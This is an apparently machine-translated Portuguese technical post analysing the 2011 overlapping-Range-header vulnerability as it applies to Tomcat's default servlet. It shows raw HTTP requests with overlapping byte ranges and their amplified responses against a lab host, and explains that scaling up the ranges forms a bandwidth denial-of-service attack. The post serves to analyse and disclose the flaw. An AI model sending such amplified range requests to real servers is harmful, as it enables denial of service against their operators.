Essencialmente, essa vulnerabilidade faz com que o servidor Apache crie uma resposta massiva para uma solicitação de um único arquivo, muito maior do que o próprio arquivo. Enquanto o RFC ( 2616 ) diz aos serviços da web para aceitar vários intervalos, não há nada que diga que você não pode ter o os intervalos se sobrepõem. Implementação ruim por parte do Apache, mas há uma boa chance de que outros servidores da Web sejam vulneráveis.
A maioria dos servlets Tomcat não permite solicitações Range
, pois é uma implementação personalizada de um filtro para transmitir os trechos corretos de conteúdo. No entanto, o servlet padrão (que lida com conteúdo estático) é outra história.
Código atual do Tomcat ( aqui ) aceita vários conjuntos de intervalos, valida cada um individualmente que está dentro dos limites do tamanho do arquivo e os coloca em uma lista de intervalos a serem atendidos. No entanto, os intervalos são transmitidos em seqüência a partir do cache interno do servlet, e o processo deve ser interrompido imediatamente se o cliente solicitar a desconexão dos dados; na maioria dos casos, isso deve tornar a solicitação de intervalo sobreposto equivalente ao impacto no desempenho de veicular um arquivo grande.
E, para confirmar, um teste rápido ...
Enviaremos um pedido rápido contra / para obter o tamanho ...
solicitação:
HEAD / HTTP/1.1
Host: 192.168.100.200
Accept-Encoding: gzip
Connection: close
resposta:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: text/html
Content-Length: 1887
Date: Thu, 25 Aug 2011 04:18:05 GMT
Connection: close
Veredicto é, 1887 bytes para o bonitinho "Funciona!" página. Isso nos diz o alcance que podemos usar sem o Tomcat jogando fora o alcance como fora dos limites.
Ok, então vamos verificar se permite uma sobreposição rápida, bytes 0 a 10 e depois 5 a 15:
solicitação:
GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-10,5-15
Accept-Encoding: gzip
Connection: close
resposta:
HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 224
Date: Thu, 25 Aug 2011 04:17:11 GMT
Connection: close
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-10/1887
<?xml versi
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 5-15/1887
version="1
--CATALINA_MIME_BOUNDARY--
Sim, com certeza - <?xml versi
e version="1
. Então, obras sobrepostas.
E se isso permitirá uma solicitação de mais dados do que o que está sendo veiculado no momento:
solicitação:
GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-1800,1-1886
Accept-Encoding: gzip
Connection: close
resposta:
HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 3893
Date: Thu, 25 Aug 2011 04:19:51 GMT
Connection: close
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-1800/1887
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Apache Tomcat</title>
</head>
...(lots more data)...
Yup - quase 4KB servido de um arquivo com menos de 2 KB.
Amplifique essa abordagem para incluir um número enorme de intervalos e essa é a estrutura básica do ataque. No caso do Tomcat, o impacto real parece ser que ele permite que um invasor receba uma grande quantidade de dados atendidos em resposta a uma solicitação de um recurso relativamente pequeno, o que pode ser útil no direcionamento da largura de banda para uma negação de serviço. Eu também suspeitaria dos impactos em outros casos extremos; com um proxy reverso tentando armazenar em cache 206 respostas, ou quando o recurso solicitado é um arquivo maior do que caberia no cache do Tomcat.